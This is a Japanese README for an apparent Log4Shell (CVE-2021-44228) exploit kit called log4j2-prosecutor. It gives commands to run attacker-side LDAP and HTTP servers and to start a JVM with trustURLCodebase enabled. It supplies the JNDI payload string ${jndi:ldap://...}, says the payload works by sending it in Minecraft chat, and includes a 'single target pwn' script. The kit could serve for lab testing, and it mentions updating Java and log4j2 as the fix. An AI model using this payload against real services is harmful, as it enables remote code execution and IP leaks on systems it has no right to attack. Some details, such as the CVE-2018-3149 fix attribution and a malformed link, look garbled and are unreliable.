log4j2-prosecutor

動機

この根本的な脆弱性は [CVE-2018-3149](https://nvd.nist.gov/vuln/detail/CVE-2018-3149) として報告され、[この記事（8u121 リリースノート）](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) によって修正されました。

しかし、log4j2 と呼ばれる Java 用ロギングライブラリには (JNDILookup)[CVE-2021-44228](https://github.com/apache/logging-log4j2/blob/20f9a97dbe5928c3b5077bcdd2a22ac92e941655/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java) が存在し、LDAP などのプロトコルへのアクセスが許可されていたため、古い Java バージョンではコードインジェクションが可能になっていました。

パッチ適用済みの Java バージョンはコードインジェクションを防ぐことができますが、`JNDILookup` は LDAP サーバーにリクエストを行うため、IP アドレスの漏洩につながる可能性があります。

解決策は **Java** と **log4j2** のバージョンを更新することです。

実行方法

依存関係をインストールする

cd http-server && npm install && cd ../ldap-server && npm install

http-server と ldap-server の両方を実行する

cd http-server && node index.js &
cd ldap-server && node index.js

Main.java をコンパイルする

# This will generate Main.java - required to code injection .
# OSx
./java-single-compile <Main.java>
# Linux 
javac <Main.java>

パラメータ付きで JVM を起動する

# You can still use log4j-client in repo for internal testing.
cd log4j-client &&\
		gradle jar &&\
		java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/log4j-client-1.0-SNAPSHOT.jar
# Or run other application, com.sun.jndi.ldap.object.trustURLCodebase=true required for code injection, otherwise it will only request to ldap server.
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar <javafile.jar>

ペイロードを任意のパラメータとして送信する（Minecraft では、エクスプロイトが機能していれば、チャットで送信するだけで動作します。）

${jndi:ldap://127.0.0.1:3001/}

クリーンアップする

NODEP=`pgrep node`
for id in $NODEP; do
    kill $id
done

スクリプト

# Single target pwn
# Edit exploit-configs.txt with url and params
cd scripts/single-pwn && python3 __main__.py

参照

ライセンス [GPL3]

ライセンスは LICENSE を参照してください。

log4j2-prosecutor

人気

log4j2-prosecutor

動機

実行方法

スクリプト

参照

ライセンス [GPL3]